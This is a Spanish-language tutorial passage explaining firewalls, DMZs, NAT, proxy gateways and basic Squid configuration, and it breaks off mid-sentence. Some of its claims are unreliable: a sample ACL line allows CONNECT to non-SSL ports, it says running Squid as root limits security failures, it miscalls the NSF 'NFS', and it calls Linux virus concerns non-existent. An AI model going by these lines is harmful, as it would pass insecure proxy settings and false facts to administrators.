En sus principios los firewalls consistían de una única máquina que se encontraba entre la red privada y el Internet. En años recientes, el firewall a evolucionado a mucho más de ahí, esto comúnmente es conocido como un host bastión. Hoy día nos referimos al firewall como una área completa que esta definida entre la red interna y el Internet y consiste de una serie compleja de máquinas, que puede incluir enrutadores y ordenadores, y programas.

Al momento de implementar el firewall de una organización, usted debe saber que servicios se van a ofertar y cuales su red requiere para los usuarios externos como los internos. La necesidad de acceso a servicios en ambos lado del firewall es el punto determinante en las funciones que su firewall usará.

En esta sección, los siguientes temas serán discutidos:

- El Rol del Firewall
- Terminología de Firewalls
- DMZ (Zona Desmilitarizada)
- Configuración por Defecto de Firewalls

CONCEPTOS DE FIREWALL

El firewall es el elemento más crítico de toda implementación de seguridad. Toda estrategia de firewall debe tener cuatros objetivos. Cada uno de estos objetivos no se logra usando un sólo dispositivo o un único software. Muy a menudo se necesita juntar más de un componente para lograr cumplir con los niveles de seguridad de una compañía. Los firewalls deben satisfacer los siguientes cuatros objetivos.

Implementar las Políticas de Seguridad

El firewall es la manera más segura de poder enforzar sus políticas de seguridad. Anteriormente hablamos de políticas de seguridad y su importancia en los niveles apropiados de seguridad. Sus políticas de seguridad pueden listar que sólo el servidor de correo de Internet transmitirá tráfico SMTP. usted debe enforzar esta característica de esta política directamente en el firewall.

Debe Crear un Punto de Revisión

Los firewalls crean un punto de revisión (checkpoints) entre la red privada y la pública. La implementación apropiada requiere que todo tráfico sea pasado por un túnel a través de este punto de revisión. Una vez y estos puntos han sido establecidos, los dispositivos que constituyen el firewall pueden monitorear, filtrar y verificar todo tráfico, tanto saliente como el entrante. Estos puntos de checkpoint son también conocidos en la industria como chokepoints. Al dirigir forzosamente todo el tráfico entrante y saliente a estos puntos de choke, los administradores de redes pueden concentrar sus esfuerzos en sitios específicos. Sin estos lugares para monitorear y controlar la información, un administrador de sistema o de seguridad tuviese demasiado sitios en los cuales concentrar sus tareas de monitorear, lo que tornaría esta tarea imposible. El conjunto de puntos de choke es conocido como el perímetro de la red.

Limitar la Exposición de la Red

El firewall crea un perímetro protegido o frontera, alrededor de su red. Esta mejora su privacidad a través de esconder su sistema interno y su información de la red pública. Cuando un nodo remoto intenta identificar su red ellos solo verán su firewalls. El dispositivo remoto no podrá identificar la estructura de su red ni siquiera cuantas computadoras hay internamente.

Un firewall limita la exposición de red al mejorar la autentificación y provee además encriptación de red a red. Al hacer que el tráfico entrante a pasar a través de varios puntos de revisión o checkpoint, un firewall ayuda a limitar los ataques que pueden ser efectuados desde fuera de la red interna.

TERMINOLOGIA DE FIREWALL

En esta sección trataremos, antes de continuar de definir la terminología usada en cuando se discute de firewalls y sus tecnologías. Definiremos varios términos muy usados cuando de firewalls se habla.

Filtradores de Paquete

Los dispositivos que efectúan filtrado de paquetes son aquellos que procesan el tráfico de red paquete por paquete. Los dispositivos que filtran paquetes permiten o bloquean paquetes y son típicamente implementados a través de enrutadores estándares. Los filtradores de paquetes son un tipo de los varios tipos de firewalls que

discutiremos más adelante en este capítulo.

Gateway/Pasarela

Un dispositivo gateway es aquel que provee servicios de relevo entre dos dispositivos. Los gateways pueden ser una aplicación de Internet, como es el CGI (Common Gateway Interface) o un gateway firewall que procesa el tráfico entre dos hosts. El término es genérico y será usado aquí para representar un componente de un firewall que procesa datos entre dos redes.

Gateway del Nivel de Circuito

Este es un gateway en el cual la función del firewall está dividida entre dos hosts. Un host se convierte en un enrutador para filtrar y el otro es una aplicación firewall. Otra manera de implementarlo es crear una conexión segura entre el primer host y el segundo firewall. El beneficio de este modelo es que provee tolerancia a falla en caso de que ocurra un ataque. Esta modelo también permite que los ataques se dividan entre los dos hosts. Si un host es atacado, el segundo se queda intacto.

El circuit-level gateway es similar al filtrado de paquetes. La ventaja principal de este modelo de gateway es el de suplir NAT (Network Address Translation).

Gateway del Nivel de Aplicación

Los gateways de aplicación funcionan en todas las capas del modelo OSI. Son por lo general implementadas a través de la instalación de software en servidores dual-homed (dos o más tarjetas de redes). Estos gateways de aplicaciones son conocidos en el mayor de los casos como servidores proxys, pero la diferencia es importante y debemos mantenerla separado.

Servidor Proxy

Los servidores proxy se comunican con servidores externos como intermediarios de sus clientes internos. El término servidor proxy normalmente se refiere a un gateway del nivel de aplicación, aunque los gateways del nivel de circuito también son cierto tipo de servidores proxy. Una manera más general es la que utilizaremos aquí que es que un servidor proxy es un servidor que se comunica de parte de otros. Cuando usamos el término de gateway del nivel de aplicaciones o el de circuito, nos referimos a servicios proveídos por cada forma de firewall.

NAT (Network Address Translation)

El NAT esconde las direcciones IP internas a las redes externas. Cuando un firewall es configurado para proveer NAT, todas las direcciones internas son traducidas a direcciones IP públicas al conectarse a fuentes externas. Otro término usados para el NAT es enmascaramiento de IP (masquerade).

El RFC 1918 define las direcciones que el IANA (Internet Assigned Number Authority) recomienda que se use uno de los siguientes esquemas de direcciones IP internas. Ellas son estas aquí mostradas:

A-	10.0.0.0	-a-	10.255.255.255
B-	172.16.0.0	-a-	172.31.255.255
C-	192.168.0.0	-a-	192.168.255.255

Si su organización elige utilizar una de estas direcciones de red aquí listada, entonces no hay necesidad de registrarla con la autoridad del Internet. La ventaja de usar una de estas direcciones aquí listada es que estas direcciones nunca correrán el riesgo de ser enrutada sobre Internet. Todos los enrutadores son programados para que rechacen enrutar una de estas direcciones. El no enrutar estas direcciones es beneficioso ya que no todas las

estaciones de trabajo y servidores estarán expuestas a la red pública. Si un host está configurado con una de estas IP privada no podrá ser alcanzada desde el exterior debido a que no existe una ruta (route) para llegar donde ella.

Habilitar NAT y Crear Redes Privadas

Al usar NAT en un dispositivo multihomed, como es un enrutador, deberá determinar cual de las dos NICs (Network Interface Cards) o tarjeta de red es la pública y cual es la privada o interna. Solamente la NIC pública debe ser usada para proveer NAT. Muchas firewalls son configuradas para que si se ofrece NAT en la NIC pública, ningún tráfico que se origine desde la red pública será pasado (forwarded) a la otras redes. Pero, el tráfico que se origina desde la red privada pueden pasar hacia la red pública o externa. En esta situación, usted debe crear reglas especificas para denegar el paso de tráfico desde la red interna a la red externa.

NAT y la Terminología de Suplidores

Los proveedores de productos de servicios de firewall usan sus propias terminología. Hay proveedores que utilizan la terminología de confianza y confiados para describir la funciones defensivas de los servidores proxy en los dispositivos multihomed. Aquí presentamos las definiciones de estos términos:

- **Trusting** El proxy permite tráfico desde la interface de red interna a entrar al sistema del servidor proxy.
- **Trusted** Esta es la red o el host que es permitido acceso al sistema.
- **Trust (Confianza)** Puede ocurrir en una de dos formas. Usted puede implementar una confianza completa de una vía en el cual la red interna puede cruzar el servidor proxy y accesar recursos externos. Una confianza completa de dos vía permite todo tráfico, sin importar la procedencia, cruzar el servidor proxy. Excepto por el hecho de que el firewall aún mantendrá su diario (log) de las actividades, este tipo de política retira el propósito del firewall.

Bastión Host

Un bastión es un sistema de computadora seguro colocado entre una red confiada y una desconfiada, como es Internet. Usted puede tener un host single-homed (parecido al multihomed pero con una sola NIC) de bastión. La mayoría de las veces, un bastión usa dos o más NICs. Cada tarjeta actúa como un interface a una red por separado. Una tarjeta es la red conectada a la red externa como Internet, la cual es pública, la otra tarjeta es la de producción de su red interna que es la que usted como administrador debe supervisar, controlar y proteger.

Un host bastión a menudo distribuye servicios de gateway. Un servicio de gateway es un daemon dedicado que enruta un protocolo específico de la red pública hacia la red privada viceversa. En un gateway del nivel de aplicación, se requiere un daemon para cada protocolo de la Capa de Aplicación que deseamos utilizar. Así que si desea enrutar servicios de email, Web y FTP a través de un host bastión, le será necesario iniciar un daemon por cada uno. para permitir el acceso de email, por ejemplo tendrá que iniciar el daemon POP3 y el daemon SMTP. Un enrutador de filtrado de paquete actúa como un host bastión no utiliza daemons en esta manera porque este simplemente filtra paquetes, a diferencia de procesarlo, a través de los servicios.

Endurecimiento del Sistema Operativo

Un firewall requiere un número limitado de servicios. Al endurecer un sistema operativo, la instalación del programa de firewall deshabilita o elimina los servicios no necesarios. la mayoría de los paquetes de firewalls operan sobre la mayoría de las distribuciones de GNU/Linux.

Por lo general, el sistema designado como firewall no es usado para ninguna otra aplicación debido a que el software del firewall prohíbe instalación y ejecución de todo programas que no son reconocidos específicamente. Por razones como estas es que usted debe dedicar su firewall solo a las tareas de firewall.

También debe considerar eliminar todo los enlaces (binding) de protocolos excepto el de TCP/IP de la tarjeta externa.

DMZ (Zona Desmilitarizada)

Un DMZ es una mini-red que reside entre una red interna de una organización y la red externa. La red es creada por un enrutador filtro y algunas veces un enrutador choke. Se explican estos enrutadores más adelante. Un DMZ es usado como un colchón (buffer) para separar aún más la red pública de la privada. Otro nombre usado para definir un DMZ es una red de servicios. Muchos administradores de sistema colocan servidores de Web y DNS (Domain Name System) en un DMZ por sus obvias conveniencias. Los beneficios de esta práctica es que el enrutador filtra y nos provee protección. La desventaja que todo servidor dentro de un DMZ no está tan protegido como si existiese detrás del enrutador choke.

Enrutadores de Filtrado y Choke

Un router de filtrado es solo otro nombre para el enrutador de filtrado de paquetes que tiene por lo menos una interface expuesta a la red pública, como es Internet. Otro nombre para el router de filtrado es el router de "afuera" ya que este es que muestra su interface a Internet y no a nuestra red interna. Un router de filtrado es diferente a un host bastión en que este no utiliza servicios adicionales para filtrar los paquetes totalmente. Un router de filtrado es configurado para examinar los paquetes entrantes y salientes basados en reglas de filtrado.

Choke Router

Cuando se usan dos enrutadores en una configuración de firewalls, el enrutador interno (esto es el enrutador que muestra su interface a la red privada o interna) es por lo general llamado el choke router.

Un choke router define el punto que una red pública puede accesar su red interna. Este también define el punto en que los usuarios internos pueden accesar la red externa. Los administradores de seguridad utilizan puntos de choke para limitar el acceso externo a sus redes. Usando una estrategia de firewall crea puntos de choke porque todo el tráfico debe fluir a través de los firewalls.

Por Defectos en la Configuración de Firewalls

Por defecto un firewall puede ser configurado para que rinda una de dos cosas:

- Denegar todo el tráfico, en el cual, usted especificaría cierto tráfico a permitir salir y entrar de su red.
- Permitir todo tráfico, en el cual, usted especificaría cierto tráfico a denegar.

Por defecto lo mejor es denegar todo y luego a medida que la necesidad surge ir permitiendo el paso. Una vez se instala el firewall, tendrá que abrir los puertos que le sean necesarios, para que los usuarios puedan accesar los recursos que ellos están autorizados. Por ejemplo, si un usuario está autorizado a enviar y recibir email, usted tendrá que crear las reglas y iniciar el daemon de POP3 y SMTP para que el firewall le permita pasar.

Recuerde que los firewalls trabajan en dos maneras: controla el acceso al tráfico entrante y saliente de la red. Así que es necesario que abra los puertos que controlan la entrada de tráfico autorizado. Si usted tiene un firewall que permite todo tráfico por defecto, entonces tendrá que asegurarse de establecer reglas y usar varios servicios (los daemons) para denegar el tráfico no deseado, como son las peticiones entrantes de sesiones y tráfico TCP con la opción de SYN establecida.

PROXYS Y GATEWAYS

El beneficio principal de Web proxy es que este agiliza el acceso percibido al Internet por los usuarios locales en la LAN. Una vez el Web proxy desarrolla suficiente cache, este puede entonces servir todas las

peticiones desde su cache. Los clientes del Web proxy pueden recibir respuestas a sus peticiones mucho más rápido. El otro beneficio de un Web proxy es que los clientes ya no tendrán que estar conectados directamente al Internet, haciéndolos así menos vulnerables y objetos de ataques, lo cual centraliza su enfoque de la administración de seguridad.

Los siguientes temas serán discutidos en esta sección:

- Servidores Proxys
- Gateways del Nivel de Circuito
- Gateways del Nivel de Aplicación
- Squid
- Características Avanzadas

Servidores Proxy

En el contexto de las ciencias de la computación, el término proxy (en inglés «apoderado» o «delegado») hace referencia a un programa que realiza una acción en representación de otro. Un servidor proxy es un servicio de red que permite a los clientes realizar conexiones a una red de forma indirecta. El cliente se conecta al servidor proxy, éste pide una conexión, archivo o cualquier otro recurso disponible a un servidor diferente, y es el proxy el que proporciona el recurso, posiblemente conectándose al servidor específico, o sirviéndolo desde un caché. En algunos casos, el proxy puede alterar la petición del cliente o la respuesta del servidor por diversos motivos.

Los servidores proxy son usados como una línea de defensa entre los usuarios de la red y el Internet. Los proxys limitan el acceso a la data y esconden la localidad de la información proveída por el Internet. El servidor proxy toma la petición del usuario determina su validez antes de pasar la petición al servidor de Internet. Los servidores proxys casi siempre son integrados en esquemas más amplios de seguridad y son por lo general acompañados de un firewall.

El concepto de proxy es muy importante a las aplicaciones de firewall porque un proxy reemplaza la dirección IP de la red con una dirección de contingencia. Este proceso efectivamente esconde las direcciones IP reales al resto del Internet, así protegiendo nuestra red por completo.

Lo primero que hace un cracker es examinar su red para encontrar los puntos débiles en ella. Típicamente lo que hace para empezar es un escaneado de los puertos. Para contrarrestar este paso, usted debe esconder la mayor cantidad de información posible a cerca de la configuración interna de su sistema. Los proxys permiten esconder esta información y aún permitir el flujo de comunicación que continúe sin afectarla. Los proxys vienen en tres formas básicas: Web proxy, gateway a nivel de circuito y gateway de nivel de aplicación.

Gateways a Nivel de Circuito

Esta tecnología pertenece a la segunda generación de firewalls y valida que los paquetes pertenezcan ya sea a una solicitud de conexión o bien a una conexión entre dos computadoras. Aplica mecanismos de seguridad cuando una conexión TCP o UDP es establecida. Una vez que la conexión se establece, los paquetes pueden ir y venir entre las computadoras sin tener que ser revisados cada vez.

El firewall mantiene una tabla de conexiones válidas y permite que los paquetes de la red pasen a través de ella si corresponden a algún registro de la tabla. Una vez terminada la conexión, la tabla se borra y la transmisión de información entre las dos computadoras se cierra. Este gateway actúa como un traductor de direcciones IP entre el Internet y su sistema interno. Este opera en la capa de Red del modelo OSI. Este firewall

gateway a nivel de circuito recibe los paquetes de la red salientes y transfiere en nombre del sistema interno. Lo mismo para con el tráfico entrante.

Una ventaja de este tipo de gateway tiene sobre el filtrado de paquetes es que provee una ruptura completa entre el Internet y su red interna. Los enrutadores de filtradores de paquetes también tienen dos interfaces, pero su única función es la de enrutar paquetes IP y luego inspeccionarlos. Los enrutadores de filtrado deben ser configurados con tablas de enrutamiento para ambos la redes internas y las externas. Estas tablas le muestran a los usuarios externos parte de sus tablas internas. Las dos interfaces del gateway a nivel de circuito realmente no enrutan, pero traducen direcciones IP desde la interface interna a la direcciones IP externas, así protegiendo la red interna. Recuerde que no debe configurar el reenvío (forwarding) de IP o enrutamiento en ninguno de los gateways de nivel de aplicación o circuito.

El gateway de nivel de circuito más popular es el SOCKS gateway inventado por IBM. Existen muchos productos comerciales que proveen soporte SOCK.

Procesos

El proceso de transmisión empieza cuando el sistema interno envía una serie de paquetes destinados para Internet. Estos paquetes entonces proceden al gateway de circuito, el cual los compara contra su conjunto de reglas. Si los paquetes no violan ningunas de las reglas el gateway de nivel de circuito envía los mismos paquetes departe del sistema interno. El paquete que aparece en el Internet aparenta haber originado desde el gateway de nivel de circuito. Este proceso efectivamente protege toda la información interna de la red, como es topología de la red, de Internet.

Ventajas y Desventajas

La ventaja principal de los gateways de nivel de circuito es el NAT, el cual le permite a los administradores de sistemas y seguridad gran flexibilidad al desarrollar un esquema de direccionamiento interno. Los gateways de nivel de circuito son basados en los mismos principios que los firewalls de filtrado de paquetes. Todas las ventajas proveídas por el filtrado de paquetes se extienden a los gateways de circuito y así sus desventajas.

Elegir entre los paquetes buenos y los malos, susceptible a IP spoofing y complejidad son todas debilidades del gateway de circuito. La desventaja principal de un gateway de circuito es que requieren la modificación de aplicaciones y de procedimientos.

Para trabajar con un firewall gateway de circuito, una aplicación debe esta específicamente escrita para direccionar su salida hacia el puerto del dispositivo firewall actual. Como no todas las aplicaciones están escritas para colaborar con los gateways de circuito, usar este tipo de firewall puede que limite severamente la habilidad de usar aplicaciones críticas.

Un gateway de circuito puede requerir la autentificación de los usuarios con el gateway. Es probable que tenga que entrenar a los usuarios en este procedimiento o su implementación de seguridad puede que afecte negativamente la productividad de los empleados.

Gateways del Nivel de Aplicación

Los gateways nivel-aplicación monitorean paquetes en la capa de Aplicación en el modelo OSI. En muchos aspectos un gateway del nivel de aplicación es nada más que un servidor proxy. Los gateways nivel-aplicación permiten al administrador de red la implementación de una política de seguridad estricta que la que permite un enrutador filtra-paquetes. Mucho mejor que depender de una herramienta genérica de filtra-paquetes para administrar la circulación de los servicios de Internet a través del firewall, se instala en el gateway un código de

propósito-especial (un servicio Proxy) para cada aplicación deseada. Si el administrador de red no instala el código Proxy para la aplicación particular, el servicio no es soportado y no podrán desplazarse a través del firewall.

Monitorear paquetes al nivel de aplicación le permite al gateway de aplicación analizar la data como un mensaje completo en vez de paquetes individuales. Al analizar el mensaje completo, este tipo de firewall puede determinar si el mensaje contiene data buena o maliciosa. Esto se determina creando reglas o filtros que el gateway de aplicación referenciará al enviar o recibir data. Por ejemplo, muchos servidores de proxy son usados como dispositivos intermediarios al enrutar tráfico SMTP hacia y desde las redes internas y externas. El SMTP no contiene especificaciones para escanear mensajes SMTP por contenido y archivos adjuntos en específico. El gateway a nivel de aplicación puede analizar cada mensaje SMTP por completo y compararlo a las reglas del filtro del servidor proxy.

Procesos

Cuando un nodo interno inicia una conexión TCP/IP a través de un servidor proxy, el servidor proxy recibe la petición y la compara a un conjunto de filtros configurables. Si el no interno está efectuando una petición autorizada, el servidor proxy iniciará la conexión con el servidor remoto. El servidor proxy entonces actuará como el cliente que hace la peticiones, completamente ocultando el nodo interno del servidor remoto. El servidor generará respuestas TCP/IP basadas en las peticiones enviadas por el servidor proxy. Las respuestas serán enviadas al servidor proxy, donde estas respuestas serán revisadas contra los filtros del servidor proxy. Si las respuestas del servidor remoto son permitidas, el servidor proxy enviará las respuestas al nodo interno.

Al Usar un gateway del nivel de aplicación, ciertos protocolos trabajarán mejores que otros. Como el protocolo TCP está basado en conexión, se presta muy fácil al uso a través de un servidor proxy. El servidor proxy aplica los filtros a la sesión TCP sólo cuando esta se inicia. Durante el periodo de vida de la sesión TCP, el servidor proxy no analiza la porción del cabezal del paquete. El UDP (User Datagram Protocol) es sin conexión y cada paquete UDP es tratado como un mensaje por separado. El servidor proxy debe analizar cada paquete por separado y aplicarle las reglas de los filtros, lo cual torna un poco lento el proceso del proxy.

El ICMP es imposible para los proxy, así que los programas que dependen de mensajes ICMP, por lo general no trabajan a través de un proxy del nivel de aplicaciones. Por ejemplo, el tráfico HTTP es muy a menudo utilizado con los servidores proxy, pero un nodo interno no puede efectuar un ping a un servidor remoto a través del servidor proxy. El ping utiliza el ICMP para los mensajes de respuesta que el servidor proxy no puede manejar.

Ventajas del Servidor Proxy

La ventaja principal de un servidor proxy es su capacidad de proveer NAT. Protegiendo su red interna de las redes públicas. Son muchos los beneficios desplegados en un gateway a nivel-aplicación. Ellos dan a la administración de red un completo control de cada servicio desde aplicaciones proxy limitadas por un conjunto de comandos y la determinación del servidor interno donde se puede acceder a los servicios. Aun cuando, el administrador de la red tenga el completo control acerca de que servicios que son permitidos desde la carencia de un servicio proxy para uno en particular significa que el servicio esta completamente bloqueado. Los gateways a nivel-aplicación tienen la habilidad de soportar autenticaciones forzando al usuario para proveer información detallada de registro. Finalmente, las reglas de filtrado para un gateway de este tipo son mucho más fáciles de configurar y probar que en un router filtra-paquetes. Aquí discutimos una cuantas de estas ventajas.

Logging y Alarmas

Las características de escribir los logs y alarmas proveídas son por lo general más robustas que esas que se

suplen en los de filtrado de paquetes y los gateways de nivel de circuito. Los servidores proxy analizan mucha más información que los otros dos tipos de firewalls, ellos pueden escribir al log casi cada porción de una sesión TCP/IP, desde la trama de la red hasta la capa de aplicación.

Cache

Como los servidores proxy necesitan analizar un paquete TCP/IP en cada capa del TCP/IP, el servidor proxy a menudo almacenará esta información en cache al disco. Cualquier otra petición por esta misma data ahora sería accesada desde el disco duro del servidor proxy en vez del servidor remoto. Buscar la información desde el disco es mucho más rápido que buscarla desde el servidor remoto. Muchas reglas pueden ser aplicadas al servidor proxy para configurar que tan a menudo este revisará el servidor remoto por si el contenido ha sido actualizado.

Análisis de la Aplicación

Los servidores proxy pueden analizar tráfico TCP/IP en la capa de Aplicación. Aquí le damos algunos ejemplos de como esta característica puede ser usada; pero recuerde que no todas las siguientes características están disponibles en todos los servidores:

- El SMTP tráfico puede ser escaneado por virus y trojanos.
- El tráfico HTTP en específico y NNTP (Network News Transfer Protocol) puede ser monitoreado por contenido restringido.
- Nombres de Dominios pueden ser especificados para restringir acceso a dominios completos.

Proxy Reversos y Arreglos

Otra ventaja del uso de gateways de nivel de aplicación es la habilidad de proveer servicios de proxy reversa. Estos servicios trabajan en una manera muy similar a la estándar excepto que ellos sirven a las peticiones entrantes. Los servidores proxy reverso se colocan fuera del sistema de firewall de la red y son registrados en el Internet como un servidor de producción, como son los servidores Web y email. Cuando usuarios externos accesan el servidor Web, ellos en realidad están accesando el servidor proxy. El servidor proxy entonces contacta el servidor Web que reside detrás del firewall. Esta configuración previene a los usuarios públicos de contactar el servidor Web directamente. Si un cracker intenta violentar nuestro servidor Web sólo logrará entrar al servidor proxy. El servidor proxy no contiene ninguna información importante y puede ser reemplazado rápidamente con otro.

Un arreglo de proxy es configurar varios proxys a que actúen y respondan como un sólo. Los arreglos proxys también son conocidos como cluster de proxy y son usados para proveer balanceado de carga. Cuando se colocan varios proxy reverso juntos, el total de información que pueden almacenar en cache es aumentada. El grupo también puede suplirnos con tolerancia de falla en el caso de que un proxy salga de línea o sea violentado por un cracker. La definición de arreglo de proxy es mejor aplicadas a la configuración de varios servidores proxy actuando como un sólo, si cambias la configuración en uno la cambiarías en todos simultáneamente. Estos proxys también son usados muy a menudo en ambientes de proxy reversos. Cuando se usan arreglos de proxy como solución, los usuarios pueden accesar más de un servidor Web a la vez.

Menos Reglas

Por lo general un firewall orientada a proxy requiere menos reglas que un filtrador de paquetes. Crear las reglas también por lo general toma menos tiempo.

Desventajas del Servidor Proxy (Gateway del Nivel de Aplicación)

Una de las desventajas de los gateways del nivel de aplicación es tener que crear los filtros para las

aplicaciones TCP/IP. Cada aplicación deberá ser configurada por separado. Dado el gran número de aplicaciones que pueden ser usadas sobre el TCP, se requiere de los administradores de firewalls tener un extenso conocimiento de todas las aplicaciones y sus configuraciones de cada una para crear los filtros de seguridad. En algunos casos, servidores proxys en específicos deberán ser creados para servir de proxy para una aplicación única.

Además, deberá configurar varias aplicaciones y sistemas operativos para que funcionen con los gateways del nivel de aplicación. Como resultado, puede ser que se comprometa con cualquier otra solución, especialmente si tiene que instalar un cliente del servidor proxy en cientos de sistemas de su red. Probablemente la más grandes de las limitaciones de un gateway a nivel-aplicación es que requiere de la instalación de software especializado en cada sistema que acceda a los servicios Proxy. Por ejemplo, el acceso de Telnet vía gateway a nivel-aplicación demanda modificar la conducta del usuario desde el momento en que se requiere de dos pasos para hacer una conexión mejor que un paso. Como siempre, el software especializado podrá ser instalado en un sistema terminado para hacer las aplicaciones del gateway transparentes al permitir a los usuarios especificar el servidor de destino, mejor que el propio, en un comando de telnet.

Configuración del Cliente

Clientes que usan servidores proxy para la conectividad remota deben ser configurados para usar el proxy y tener especificado todos los parámetros correctos. Si los usuarios internos usan diferentes aplicaciones para cada aplicación de Internet, como son navegadores, clientes de correo, clientes FTP, etc, cada aplicación deberá ser configurada para que use el servidor proxy para tener el acceso remoto. Ciertas aplicaciones no hacen interface con ningún servidor proxy.

Aplicaciones Nuevas y los Virus

Las nuevas aplicaciones que se desarrollan deben ser escritas para que puedan accesar a servidores remotos a través de servidores proxy. Cuando usamos una aplicación antes de actualizar a una nueva versión debemos asegurarnos que funcionará con nuestro servidor proxy. Aunque la preocupación de virus en GNU/Linux y toda la familia UNiX es no existente, como podemos enfrentar una situación de un ambiente de sistemas que aún son afectados por virus y al crear su servidor proxy debe incluir la definición de virus más actualizada. Si tiene su proxy escaneado por virus para no afectar sistemas operativos susceptibles a ataques de virus asegúrese usar antivirus actualizado.

Velocidad

Como los firewall orientadas a proxy entran profundamente en los paquetes IP, ellos usan más recursos del sistema. En sitios web muy visitadas, un firewall orientado a proxy se puede convertir en una perdida más en vez de un positivo, ya que esta puede resultar en latencia inaceptable. La regla de norma al recomendar firewalls orientadas a proxy es que ellas caen bien en velocidades de T3. Es prudente además, combinar un filtrado de paquete con un proxy para así reducir tráfico innecesario y sobrecarga en el proxy.

Squid

El SQUID es un servidor proxy de HTTP de alto poder y mejor de todo LIBRE, que puede hacer cache de data de Internet. Este le permite a administradores proveer un alto nivel de seguridad de Internet en sistemas de tipo UNiX. Squid puede ser usado para pasar paquetes de Internet o para filtrar y controlar acceso a Internet. El Squid es un servidor proxy flexible que soporta muchos protocolos, como son FTP, WAIS, Gopher y SSL, además de media streaming. Además de ser un servidor de proxy cache completamente configurable, Squid esta etiquetado como el Web Object Cache por su capacidad de manejar la mayoría de tráfico de Web. La NFS

(National Science Foundation) es el líder del desarrollo y provee todos los fondos para el proyecto SQUID. Aunque originalmente fue desarrollado sobre máquinas de Digital UNiX, está diseñado para ejecutarse sobre cualquier sistema operativo tipo UNiX moderno.

Configurar Squid en GNU/Linux

El Squid posee un número de archivos de configuración, los cuales por lo regular se encuentran en el directorio /etc/squid. Casi toda la configuración de squid se lleva a cabo en el archivo squid.conf. Aunque el archivo squid.conf tiene alrededor de 200 opciones, sólo algunas 10 deben ser cambiadas para que este se convierta en operacional. Por lo menos el navegador por defecto debe ser cambiado, ya que squid por defecto deniega acceso a todos los navegadores. Si esta etiqueta no es cambiada squid negará todas las peticiones. Etiquetas son usadas para especificar opciones de configuración dentro del archivo de configuración. Un ejemplo de una opción de configuración es mostrada aquí:

http_port 2400 # Especifica el puerto donde squid envía las respuestas http

El Squid puede ser configurado como un servidor proxy transparente. Cuando se encuentra en este modo,los navegadores pueden usar el cache del proxy sin ninguna configuración. El Squid recoge las peticiones y guardará en el cache las respuestas sin el conocimiento del usuario, así operando transparentemente.

Establecer el Puerto HTTP

El Squid acepta peticiones HTTP en el puerto 3128 por defecto. Pero, el puerto 80 es el más usado, para las peticiones HTTP. Use la etiquete http_port para cambiar el puerto por defecto que Squid usa. El Squid puede escuchar a múltiples puertos, pero todos los puertos deben estar listado en una misma línea. A continuación un ejemplo de configurar más de un puerto http en una misma línea:

http_port 1500 2400 3300 5400

La mayoría de administradores eligen un número de puerto bajito, como es el puerto 80, por razones de seguridad. Pero, Squid debe ser iniciado como root si se elige un número de puerto bajo. Si se elije un número de puerto alto como por ejemplo el 3031, entonces Squid no tiene que ser iniciado como root. Los puertos por debajo de los 1024 son usados para proveer los servicios básicos y son confiados; así que, un administrador debe iniciar servicios en estos puertos. Los puertos por encima del 1024 son considerados sin confianza, por esto permiten que cualquier usuario inicie servicios en ellos. Ejecutar el Squid en los puertos altos puede limitar la seguridad porque más usuarios pueden adquirir acceso. Pero, si Squid no se ejecuta como root, el daño al sistema es limitado si existe una debilidad en el código del servidor.

Configurar el Navegador

Como el Squid deniega acceso por defecto a todos los navegadores Web, la primera opción que debe configurar es la de permitir conexión a los navegadores. esto se efectúa en la sección de control del archivo de configuración de Squid el squid.conf. Luego el navegador de cada equipo host en la red debe ser configurado para usar el Squid para sus peticiones de Internet. Los navegadores pueden ser configurados para propósitos administrativos o de tareas de usuarios normales. Para las tareas de los usuarios, la configuración más simple sólo requiere un nombre de host y el puerto en el cual el servidor se encuentra. El Squid debe también ser informado cual data el debe almacenar en cache. Los administradores deben configurar las propiedades cache del Squid y las restricciones de Internet para limitar el acceso a los usuarios a archivos y directorios. Este debe ser en conjunto con la configuración de los usuarios.

Hay diferencia entre los requerimientos de diferentes navegadores Web disponibles, pero todos requieren minimamente un nombre de host y un puerto para que el navegador utilice un proxy para accesar los servidores remotos.

Correo email del Aministrador

El Squid permite especificar el correo electrónico del administrador. Si el Squid falla, se le enviará un correo al administrador a esta dirección. Deberá usar la etiqueta cache_mgr para especificar el email del administrador, aquí un ejemplo para ilustrar: **cache_mgr webmaster@codigolibre.org**

ID del Usuario y del Grupo

El Squid ejecutará como root si se está ejecutando en un número de puerto bajo. Pero, sabes que una buena práctica es no correr programas como root al menos que no sea absolutamente necesario. Así que Squid intentará cambiar su propio UID y GID después de haber iniciado. Las opciones en el archivo de configuración deben ser establecidas manualmente si el programa se ejecuta como root. Ejecutar a Squid como root puede limitar el chance de fallas de seguridad.

Control de Acceso

A través de la sección de control de acceso, un administrador puede controlar los protocolos que Squid responderá peticiones. Esta sección le permite a los administradores establecer los protocolos que los clientes están permitidos a usar, la autentificación del usuario y el acceso de peers (Cache peer es lo que permite que otros proxys se comuniquen con Squid). Un ejemplo de una sección de control de acceso que especifica cache peers y el acceso de HTTP se muestra aquí adelante:

```
# Para establecer un cache peer
# La sintaxis para la etiqueta del cache peer es
# cache_peer_access cache-host [allow/deny] [!]lista-acceso-nombres
cache_peer_access Maquina01 allow manager
cache_peer_access Maquina01 allow !SSL_ports
#Configuración de acceso http
http_access allow administrador localhost
http_access deny      administrador
http_access deny      !Safe_ports
http_access allow CONNECT !SSL_ports
http_access deny      all
```

Implementación de Seguridad con Squid

La seguridad interna de Squid es manipulada a través de la sección de control de acceso del archivo de configuración squid.conf. Aquí los usuarios pueden bloquear el acceso por dominio, dirección IP y métodos de autentificación. Con el uso de autentificación de usuarios y el bloqueo de Internet, el Squid puede proveer seguridad para un servidor. Pero, un servidor proxy cache nunca se ofrece como una solución única, sino acompañada con otro paquete de software, como son los firewalls. Debido a esto, la mayoría de configuraciones de Squid requieren muy poca implementación de seguridad interna.

Control de Acceso con Firewalls

El Squid puede ser usado dentro o detrás del firewall. Cuando el Squid es usado dentro del firewall, el es considerado un host confiado, el cual es permitido conectarse a los servidores de recursos. Las peticiones de los usuarios se pasan desde el Squid al firewall y las respuestas son pasada desde el firewall al Squid; el trata al firewall como un servidor proxy. En este escenario, cuando el Squid es usado detrás dentro del firewall, el firewall provee la seguridad para el Squid. Pero, como hemos discutido, Squid es capaz de proveer su propia seguridad, a través de su característica de control de acceso.

Cuando un firewall pasa las peticiones a un servidor proxy, esta característica es llamada un handoff (entrega). Si el firewall no soporta handoffs, es difícil para los clientes internos conectarse al mundo externo. Si

